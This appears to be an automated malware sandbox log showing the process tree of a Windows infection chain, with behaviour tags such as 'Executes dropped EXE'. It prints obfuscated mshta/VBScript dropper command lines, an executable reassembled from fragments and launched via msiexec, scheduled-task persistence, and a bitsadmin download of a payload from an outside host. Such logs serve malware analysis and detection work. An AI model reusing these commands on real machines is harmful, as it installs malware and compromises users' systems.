C:\Users\Admin\Pictures\Adobe Films\vRPeoOe1mIWiEt7qCOcg_mkL.exe"C:\Users\Admin\Pictures\Adobe Films\vRPeoOe1mIWiEt7qCOcg_mkL.exe"7⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵
- Loads dropped DLL
- Adds Run key to start application
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"9⤵
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1f8,0x1fc,0x200,0x1d4,0x204,0x7ff877eadec0,0x7ff877eaded0,0x7ff877eadee010⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1720,5525722587339380748,4767359402503815464,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8304_2109337628" --mojo-platform-channel-handle=1848 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1720,5525722587339380748,4767359402503815464,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8304_2109337628" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1780 /prefetch:210⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon173a360b525.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon173a360b525.exeMon173a360b525.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1378909358.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\1378909358.exe"C:\Users\Admin\AppData\Local\Temp\1378909358.exe"8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\6286259440.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\6286259440.exe"C:\Users\Admin\AppData\Local\Temp\6286259440.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Mon173a360b525.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon173a360b525.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Mon173a360b525.exe" /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon179f74c0ff3cf1f.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon179f74c0ff3cf1f.exeMon179f74c0ff3cf1f.exe6⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\mTeABXpBzcGCUGPGqC7x3nV1.exe"C:\Users\Admin\Pictures\Adobe Films\mTeABXpBzcGCUGPGqC7x3nV1.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\13DXiLTMa1hLpSFPz4hnS78R.exe"C:\Users\Admin\Pictures\Adobe Films\13DXiLTMa1hLpSFPz4hnS78R.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\13DXiLTMa1hLpSFPz4hnS78R.exe"C:\Users\Admin\Pictures\Adobe Films\13DXiLTMa1hLpSFPz4hnS78R.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\JaCAPd06FlDmrpOxihzFv2Ya.exe"C:\Users\Admin\Pictures\Adobe Films\JaCAPd06FlDmrpOxihzFv2Ya.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\CXGvGSzadJsTx1qTxImyPp7A.exe"C:\Users\Admin\Pictures\Adobe Films\CXGvGSzadJsTx1qTxImyPp7A.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\i9iBfSFpiJLNYdkx4pTJj13W.exe"C:\Users\Admin\Pictures\Adobe Films\i9iBfSFpiJLNYdkx4pTJj13W.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\W9xWu_AEnKs623Q9RYQ1dIrL.exe"C:\Users\Admin\Pictures\Adobe Films\W9xWu_AEnKs623Q9RYQ1dIrL.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\ejmyMi7AtBevIn8DRICZl6av.exe"C:\Users\Admin\Pictures\Adobe Films\ejmyMi7AtBevIn8DRICZl6av.exe"7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\GnF7HaoQK81Ivyv8nyx9jPhh.exe"C:\Users\Admin\Documents\GnF7HaoQK81Ivyv8nyx9jPhh.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\zMjI_8K8Q84OeL8sLmItXmSr.exe"C:\Users\Admin\Pictures\Adobe Films\zMjI_8K8Q84OeL8sLmItXmSr.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\MP3j7z4lRZhS6aiY4zSqJ4fH.exe"C:\Users\Admin\Pictures\Adobe Films\MP3j7z4lRZhS6aiY4zSqJ4fH.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\a1ohz7L8cj47IFCOWCtIwgDi.exe"C:\Users\Admin\Pictures\Adobe Films\a1ohz7L8cj47IFCOWCtIwgDi.exe"9⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe10⤵
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe11⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\pPg9gR09BXK6mbu2BNNejH5P.exe"C:\Users\Admin\Pictures\Adobe Films\pPg9gR09BXK6mbu2BNNejH5P.exe"9⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\wkXv2fTh4gd_QhZD3v2cNXAC.exe"C:\Users\Admin\Pictures\Adobe Films\wkXv2fTh4gd_QhZD3v2cNXAC.exe"9⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\wkXv2fTh4gd_QhZD3v2cNXAC.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\wkXv2fTh4gd_QhZD3v2cNXAC.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )10⤵
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\wkXv2fTh4gd_QhZD3v2cNXAC.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\wkXv2fTh4gd_QhZD3v2cNXAC.exe" ) do taskkill -f -iM "%~NxM"11⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi12⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )13⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"14⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )13⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC14⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "15⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"15⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC15⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "wkXv2fTh4gd_QhZD3v2cNXAC.exe"12⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\wZVnvy2IVTzCaL9M575mmBDx.exe"C:\Users\Admin\Pictures\Adobe Films\wZVnvy2IVTzCaL9M575mmBDx.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\V5QkACUZs6HpWtXhCwXQlkbI.exe"C:\Users\Admin\Pictures\Adobe Films\V5QkACUZs6HpWtXhCwXQlkbI.exe"9⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=110⤵
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"11⤵
- Checks computer location settings
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1cc,0x1f4,0x7ff877eadec0,0x7ff877eaded0,0x7ff877eadee012⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x138,0x13c,0x140,0x114,0x144,0x7ff79e239e70,0x7ff79e239e80,0x7ff79e239e9013⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1804,10941048411921159893,3482529078965718897,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7424_1852806505" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1820 /prefetch:212⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1804,10941048411921159893,3482529078965718897,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7424_1852806505" --mojo-platform-channel-handle=1868 /prefetch:812⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1804,10941048411921159893,3482529078965718897,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7424_1852806505" --mojo-platform-channel-handle=2304 /prefetch:812⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1804,10941048411921159893,3482529078965718897,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7424_1852806505" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=1756 /prefetch:112⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1804,10941048411921159893,3482529078965718897,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7424_1852806505" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2620 /prefetch:112⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1804,10941048411921159893,3482529078965718897,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7424_1852806505" --mojo-platform-channel-handle=2864 /prefetch:812⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1804,10941048411921159893,3482529078965718897,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7424_1852806505" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3380 /prefetch:212⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1804,10941048411921159893,3482529078965718897,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7424_1852806505" --mojo-platform-channel-handle=2820 /prefetch:812⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1804,10941048411921159893,3482529078965718897,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7424_1852806505" --mojo-platform-channel-handle=3856 /prefetch:812⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1804,10941048411921159893,3482529078965718897,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7424_1852806505" --mojo-platform-channel-handle=1764 /prefetch:812⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1804,10941048411921159893,3482529078965718897,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7424_1852806505" --mojo-platform-channel-handle=1480 /prefetch:812⤵
-
C:\Users\Admin\Pictures\Adobe Films\zphg9DvAIrDrXFQAeck5krKl.exe"C:\Users\Admin\Pictures\Adobe Films\zphg9DvAIrDrXFQAeck5krKl.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\zphg9DvAIrDrXFQAeck5krKl.exe"C:\Users\Admin\Pictures\Adobe Films\zphg9DvAIrDrXFQAeck5krKl.exe" -u10⤵
-
C:\Users\Admin\Pictures\Adobe Films\3HRBsEjn8fsRzwUB_ap1rMWy.exe"C:\Users\Admin\Pictures\Adobe Films\3HRBsEjn8fsRzwUB_ap1rMWy.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ANDAD.tmp\3HRBsEjn8fsRzwUB_ap1rMWy.tmp"C:\Users\Admin\AppData\Local\Temp\is-ANDAD.tmp\3HRBsEjn8fsRzwUB_ap1rMWy.tmp" /SL5="$80596,506127,422400,C:\Users\Admin\Pictures\Adobe Films\3HRBsEjn8fsRzwUB_ap1rMWy.exe"10⤵
- Loads dropped DLL
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\is-FODC1.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-FODC1.tmp\DYbALA.exe" /S /UID=270911⤵
- Drops file in Drivers directory
-
C:\Users\Admin\AppData\Local\Temp\5a-156a6-c77-2639b-9c05f3ed8cdda\Jigecacela.exe"C:\Users\Admin\AppData\Local\Temp\5a-156a6-c77-2639b-9c05f3ed8cdda\Jigecacela.exe"12⤵
- Checks whether UAC is enabled
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\k1uagn14.0fr\GcleanerEU.exe /eufive & exit13⤵
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\k1uagn14.0fr\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\k1uagn14.0fr\GcleanerEU.exe /eufive14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rzzg5hhh.qfc\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\rzzg5hhh.qfc\installer.exeC:\Users\Admin\AppData\Local\Temp\rzzg5hhh.qfc\installer.exe /qn CAMPAIGN="654"14⤵
- Checks whether UAC is enabled
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2cpyyg1o.4z3\any.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\2cpyyg1o.4z3\any.exeC:\Users\Admin\AppData\Local\Temp\2cpyyg1o.4z3\any.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\2cpyyg1o.4z3\any.exe"C:\Users\Admin\AppData\Local\Temp\2cpyyg1o.4z3\any.exe" -u15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\f0ba4foj.ixt\gcleaner.exe /mixfive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\f0ba4foj.ixt\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\f0ba4foj.ixt\gcleaner.exe /mixfive14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\t0u5i2hb.xqm\autosubplayer.exe /S & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\t0u5i2hb.xqm\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\t0u5i2hb.xqm\autosubplayer.exe /S14⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb3E5B.tmp\tempfile.ps1"15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb3E5B.tmp\tempfile.ps1"15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb3E5B.tmp\tempfile.ps1"15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb3E5B.tmp\tempfile.ps1"15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb3E5B.tmp\tempfile.ps1"15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb3E5B.tmp\tempfile.ps1"15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb3E5B.tmp\tempfile.ps1"15⤵
- Checks for any installed AV software in registry
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z15⤵
- Download via BitsAdmin
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon178d8e5d06822.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon178d8e5d06822.exeMon178d8e5d06822.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\2954983.exe"C:\Users\Admin\AppData\Roaming\2954983.exe"9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\5338000.exe"C:\Users\Admin\AppData\Roaming\5338000.exe"9⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\4151522.exe"C:\Users\Admin\AppData\Roaming\4151522.exe"9⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\5406726.exe"C:\Users\Admin\AppData\Roaming\5406726.exe"9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRIPt: cLOsE ( CrEATeoBjEcT ( "wsCrIpt.sHelL" ). RUn ("cmd /C copy /y ""C:\Users\Admin\AppData\Roaming\5406726.exe"" LYCw0J.ExE &&stArT LYCw0J.exE /ptCSVoYGd9AYAP_3p6Sjuyj & iF """"== """" for %T in ( ""C:\Users\Admin\AppData\Roaming\5406726.exe"") do taskkill /im ""%~nxT"" /f " , 0 ,tRue ) )10⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C copy /y "C:\Users\Admin\AppData\Roaming\5406726.exe" LYCw0J.ExE &&stArT LYCw0J.exE /ptCSVoYGd9AYAP_3p6Sjuyj & iF ""== "" for %T in ( "C:\Users\Admin\AppData\Roaming\5406726.exe") do taskkill /im "%~nxT" /f11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "5406726.exe" /f12⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Roaming\2367830.exe"C:\Users\Admin\AppData\Roaming\2367830.exe"9⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
-
